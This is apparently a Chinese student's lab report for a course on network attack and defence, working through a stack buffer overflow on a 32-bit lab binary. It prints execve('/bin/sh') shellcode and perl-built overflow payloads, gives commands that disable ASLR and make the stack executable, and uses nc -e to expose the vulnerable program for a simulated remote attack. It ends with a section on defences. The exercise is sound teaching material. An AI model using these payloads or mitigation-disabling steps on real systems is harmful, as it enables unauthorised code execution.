20212308 2023-2024-2 《网络与系统攻防技术》实验一实验报告
文章目录
1.实验内容
缓冲区溢出是非常致命的攻击,它会使攻击者直接破坏堆栈保护,非法获取数据。关于此需要学习的知识如下:
- Linux基础知识
- 基本的shell命令(例如:ls、cd、cp、touch、cat、su等等)
- 在Linux中熟练使用编译器gcc、调试器gdb,尤其是gdb调试指令(例如:设置断点break/clear、 启用/禁用断点enable/disable、运行程序run、继续运行continue、单步代码跟入函数step、查看各类信息info、显示调用栈backtrack等)
- 汇编语言
- 可以阅读基础的汇编指令(例如:PUSH、POP、JMP、CALL、LEAVE、RET)
- 熟知esp、ebp、eip等寄存器中信息的作用
- 掌握反汇编和十六进制编辑
- 了解Linux的进程内存管理
- 32位机器内存4GB,用户态0-3GB,内核态3-4GB
- 了解env、argv、argc的含义
- 了解.bss、.data、.text的含义
- 熟知堆、栈的概念
- 了解缓冲区、缓冲区溢出漏洞的相关概念
- 定义概念
- 形成原因
- 了解堆溢出、栈溢出的逻辑
- 了解Shellcode技术
- 基本概念
- 三种BOF模式:NSR、RNS、RS
- 了解Linux平台的缓冲区溢出漏洞缓解措施
2.实验过程
2.1 VM_Kali安装
2.1.1 安装配置虚拟机
2023版Kali https://mp.weixin.qq.com/s/hRSjQzx1Q0k0OCuQ3j61LQ
2024版Kali https://blog.csdn.net/Javachichi/article/details/134087232
2.1.2 桥接网络不通(缺少虚拟网卡VMnet0
https://zhuanlan.zhihu.com/p/111035992
2.1.3 root管理员
更换管理员密码:sudo passwd
切换到管理员身份(当前目录不变):su
本次实验建议全程切换到管理员身份,否则部分操作会出现权限不足的情况。
2.1.4 共享文件夹挂载
https://blog.csdn.net/yghq008/article/details/131620739
PS:kali使用小技巧
①根据提示,补全命令——【→】
②如果我们键入的命令正确,那么该命令为绿色,如果键入的命令不正确,那么该命令为红色
③字体缩放快捷键:字体放大——Ctrl+Shift+【+】;字体缩小——Ctrl+【-】
2.2 修改程序机器指令
2.2.1 查看pwn1文件反汇编信息
objdump -d pwn1 | more
# 该命令的目的是查看pwn1二进制文件的反汇编输出
# objdump:显示二进制文件信息,包含反汇编、符号表、重定位等
# objdump -d:显示反汇编信息
# |:管道符号,将前一个命令的输出作为后一个命令的输入
# more:用于分页查看文本文件内容的程序,而不是一次性显示所有内容(按Enter健查看下一行,按空格键查看下一页,按q键退出)
- 上图的main函数中,"call 8048491 "是汇编指令
- 是说这条指令将调用位于地址8048491处的foo函数;
- 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
- 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。
- “d7ffffff”是补码【小端模式!!!】,十进制数值为-41,41=0x29,80484ba-0x29正好是8048491这个值
2.2.2修改可执行文件
观察反汇编内容,getShell函数的地址是0804847d,如果想要main函数调用getShell函数替代调用foo函数,则可以修改可执行文件中的机器指令:将其中的call指令的目标地址由d7ffffff变为c3ffffff(0804847d - 80484ba = ffffffc3)。
cp pwn1 pwn2
# cp :复制文件或目录
# 该命令会将名为 pwn1 的文件复制为 pwn2
安装xxd工具,xxd是用于将文件内容显示为十六进制编码的工具。此处最开始我的Kali虚拟机网络不通,问题分析及解决详见3.1。
vi pwn2
# 使用vi命令编辑pwn2文件
:%!xxd
# :%!xxd可以切换行显示模式为16进制模式
/d7
# /d7用于查找特定机器码
# 找到正确位置,做出修改,将call指令的目标地址由d7ffffff变为c3ffffff
:%!xxd -r
# 转换十六进制为原格式
:wq
# 保存退出
2.2.3查看并运行修改后的程序
反汇编查看修改后的pwn2。
objdump -d pwn2 | more
运行pwn2,查看运行效果。
./pwn2
如上图所示,成功修改函数调用流程,可以调用getShell函数。
2.3 BOF攻击实践
通过构造输入参数,造成BOF攻击,改变程序执行流。
2.3.1 分析pwn1文件反汇编信息
继续使用objdump命令查看反汇编信息,这里我将反汇编信息重定向给一个txt文件,方便查看。(已将该文件绑定成此博客的资源)
touch pwn_disasm.txt
# 首先创建一个空txt文件
objdump -d pwn1 > pwn_disasm.txt
# 将pwn1反汇编信息重定向给txt文件
⭐接下来解读pwn1的反汇编!!!:
根据上述分析得出的结论如上图黄色文字所示。
2.3.2 确认输入字符串哪几个字符会覆盖到返回地址
gdb pwn1
# 启用gdb工具调试程序
(gdb) r
(gdb)info r
输入一定的数值测试返回地址的位置,以便后续覆盖该地址,完成BOF攻击,详见下两图和下表。
数字 | 十六进制ASCII码 |
---|---|
0 | 30 |
1 | 31 |
2 | 32 |
3 | 33 |
4 | 34 |
5 | 35 |
6 | 36 |
7 | 37 |
8 | 38 |
9 | 39 |
如果输入字符串“1111111122222222333333334444444412345678”,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
2.3.3 确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即0804847d。
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
其实这一点在之前的实践中已经能判断出是小端模式了,故应该输入11111111222222223333333344444444\x7d\x84\x04\x08
2.3.4 构造输入字符串
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
# Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中
使用16进制查看指令xxd查看input文件的内容是否如预期。
xxd input
将input的输入,通过管道符“|”,作为pwn1的输入。
(cat input; cat) | ./pwn1
# 先读取 input 文件的内容,然后等待从标准输入读取更多的内容,直到没有更多输入为止。这些内容随后会被传递给 ./pwn1 程序作为输入
ls
# 这是获取Shell后输入的指令
(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn1
2.4 注入Shellcode并执行
2.4.1 准备一段Shellcode
什么是Shellcode?
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
上面是本次实践准备的Shellcode(Linux内核、CPU架构),其目的是执行/bin/sh(即启动一个新的shell),解释如下:
\x31\xc0 - xorl %eax,%eax:将寄存器eax的值设置为0。
\x50 - pushl %eax:将eax的值(现在是0)推送到栈上。
\x68\x2f\x2f\x73\x68 - pushl $0x68732f2f:将0x68732f2f(即//sh的ASCII码的小端序表示)推送到栈上。
\x68\x2f\x62\x69\x6e - pushl $0x6e69622f:将0x6e69622f(即/bin的ASCII码的小端序表示)推送到栈上。
\x89\xe3 - movl %esp,%ebx:将栈指针(esp)的值复制到ebx寄存器。
\x50 - pushl %eax:再次将eax的值(0)推送到栈上。
\x53 - pushl %ebx:将ebx的值(现在指向/bin//sh的字符串)推送到栈上。
\x89\xe1 - movl %esp,%ecx:将栈指针(esp)的值复制到ecx寄存器。
\x31\xd2 - xorl %edx,%edx:将寄存器edx的值设置为0。
\xb0\x0b - byte $0xb:将0xb(即11的十进制表示)加载到al(eax的低8位)。这是Linux系统调用号,代表execve。
\xcd\x80 - int $0x80:触发软中断,执行系统调用。
2.4.2 调整系统设置
这一步至关重要!!!如果过程中重启虚拟机了则需要重新调整系统设置,否则就会导致BOF实践失败!!!(我就是重启虚拟机后出现了问题,排查了好久原因,多么痛的领悟)
execstack -s pwn1
# 设置堆栈可执行
execstack -q pwn1
# 查询文件的堆栈是否可执行,输出“X pwn1”为正常,这里的 X 表示堆栈是可执行的
# 如果 pwn1 的堆栈不是可执行的,输出是“ - pwn1”,这里的 - 表示堆栈不是可执行的
more /proc/sys/kernel/randomize_va_space
# 查看地址空间布局随机化(ASLR)情况
# 输出为“0”:关闭ASLR
# 输出为“1”:启用ASLR
# 输出为“2”:完全启用ASLR
# 如果输出不是0,则需要关闭ASLR
echo "0" > /proc/sys/kernel/randomize_va_space
# 修改参数值,关闭地址空间布局随机化
# 只有这样,在后续操作中寻找到的注入shellcode的地址才是不变的。否则即使写好了shellcode,再一次启动程序时地址也不一样了
more /proc/sys/kernel/randomize_va_space
# 再次查看ASLR,确认关闭(即输出为“0”)
2.4.3 构造要注入的payload
- linux常见的两种BOF模式
- RNS模式:retaddr+nop+shellcode
- NSR模式:nop+shellcode+retaddr
- 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
- nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
本次实验我使用的是NSR模式。
首先要找一下堆栈返回地址的位置,然后再用shellcode的地址将其覆盖。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
# 编写一个shellcode,最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,然后我们在将其改为shellcode的地址即可
# 我们现在要找shellcode的地址
xxd input_shellcode
# 用xxd查看一下十六进制
(cat input_shellcode;cat) | ./pwn1
# 打开终端注入攻击
此时被注入input_shellcode的pwn1程序已经正在运行了。
注意:
再打开另一个终端,用gdb调试pwn1的进程。
ps -ef | grep pwn1
# 目的是找到pwn1进程号
gdb
# 启用gdb调试进程
(gdb)disassemble foo
# 通过设置断点,来查看注入buf的内存地址
(gdb) break *0x080484ae
# 0x080484ae是断点地址,这时注入的东西都被装入堆栈上了,ret完,就跳到我们覆盖的retaddr那个地方了
(gdb) c
# 这时在另外一个终端中按下回车,提交,让进程继续走
(gdb) info r esp
# 查看esp地址,然后不断试探往回找,找到shellcode地址,详见下三图
由上图可以看到0x0c319090(shellcode开始)的开始地址是0xffffcfc0,0x01020304(shellcode结束)的结束地址是0xffffcfe0(最后一个字符‘/0’的十六进制是0x00)。接下来将shellcode地址加在shellcode中,再次注入。
shellcode注入后,我们可以打开一个shell,可以看到BOF攻击成功!
以上实践是在非常简单的一个预设条件下完成的,如果更换任意一个条件则上述操作的攻击不成立:
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境
2.4.5 结合nc模拟远程攻击
此实践我是用两台虚拟机模拟,主机1是Kali系统,是有漏洞的靶机;主机2是Ubuntu系统,是攻击机,他需要连接主机1并发送攻击负载。
首先需要两台虚拟机互相ping通。此处我的两个主机都是桥接模式。
然后利用nc发起攻击。
主机1:
nc -l 172.16.221.111 -p 12345 -e ./pwn1
# -l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
# 也可以用下面的命令
nc -lvnp 12345 -e ./pwn1
主机2:
(cat input_shellcode_wxc20212308; cat) | nc 172.16.221.111 12345
结果出现上述段错误,查询诸多资料,仍然没有查出原因,详见3.4。
2.5 BOF攻击防御技术
2.5.1. 从防止注入的角度。
在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
2.5.2 注入入了也不让运行。
结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
execstack --help
Usage: execstack [OPTION…] execstack – program to query or set
executable stack flag-c, --clear-execstack Clear executable stack flag bit -q,
–query Query executable stack flag bit -s, --set-execstack Set executable stack flag bit
2.5.3. 增加shellcode的构造难度。
shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。
more /proc/sys/kernel/randomize_va_space
# /proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况
# 0 - 表示关闭进程地址空间随机化。
# 1 - 表示将mmap的基址,stack和vdso页面随机化。
# 2 - 表示在1的基础上增加栈(heap)的随机化。
echo "0" > /proc/sys/kernel/randomize_va_space
2.5.4 从管理的角度
加强编码质量。注意边界检测。使用最新的安全的库函数。
3.问题及解决方案
3.1 问题1:桥接网络问题
-
问题1描述:起因是我的kali缺少xxd安装包,于是联网下载资源。但我的虚拟机一直报错无法下载,仔细查看报错提示,加以思考,发现了原因是虚拟机桥接网络配置不正确。关于这个错误,本次实验中我一共遇到了以下三个问题
- ①无法连接桥接网卡(输入ifconfig命令看不到桥接网卡信息,输入ip addr命令发现eth0网卡关闭);
- ②连接网卡后,仍无法主机和虚拟机之间仍无法通过桥接连通(互相ping彼此ip均不通);
- ③DNS域名解析错误(例如:ping不通baidu.com)
-
问题解决方案:
-
kali linux配置桥接网络:https://www.cnblogs.com/qzample/p/12919760.html
-
3.2 问题2:安装包问题
- 问题2描述:安装包装不上,apt-get install命令报错无法定位软件包。
-
问题2解决方案:更改apt的资源列表
问题解决!
3.3问题3:管道破裂错误
- 问题3描述:在实践shellcode注入时,出现了管道破裂(broken pipe)的错误。反复尝试多次,问题并没有解决。
- 问题3解决方案:经过观察和反复思考,我发现每次注入运行pwn进程,地址空间都会改变。由此联想到之前的地址随机化是不是没有关闭。于是查看了一下,发现确实是这个问题。再回想,想起在这中间我重启了一下虚拟机,所以设置又回到默认了,后知后觉!
3.4问题4:段错误
- 问题4描述:在实践使用nc模拟远程攻击时,反复出现段错误
- 问题4解决方案:对此,我有许多猜测,例如端口没打开?防火墙拦住了?注入的shellcode有问题?我对上述猜测一一修改,逐个验证,但问题并没有解决。查阅诸多资料也不知道出错原因,因此此报错目前没有解决。尽力了!
4.学习感悟、思考等
所有知识性的分析和思考在前面已充分阐述,再此回顾整个实验一,感悟如下:
在我看来本次实验难度并不小,不只是指按照参考资料完整做出来;而是真正搞懂每个指令、每个操作的原理,并转化为自己的理解;还包括针对自己的机器的特殊报错的原因排查、解决方案寻找和测试等。课堂学习再充分也不如自身实践一次收获多,这是因为实践激发了学习的主动性,达到了真正的”翻转课堂“。
本次实验带给我最大的感触除了对缓冲区溢出攻击的理解加深以外,我对Linux指令、汇编语言、反汇编和十六进制编辑、二进制文件逆向分析都有了相应的提升,许多知识更是第一次接触并自学。我印象最深的两部分,一个是对反汇编的逐行分析理解(如下图),还有一个就是shellcode注入实践。这两部分我花的时间和精力最多,弄懂后的收获感也是最大。
除了依靠安全协议和体系的保护,规范的编程习惯会对程序甚至系统有极大的保护!网络空间安全,任重道远!网络攻防的道路才刚刚开始,加油!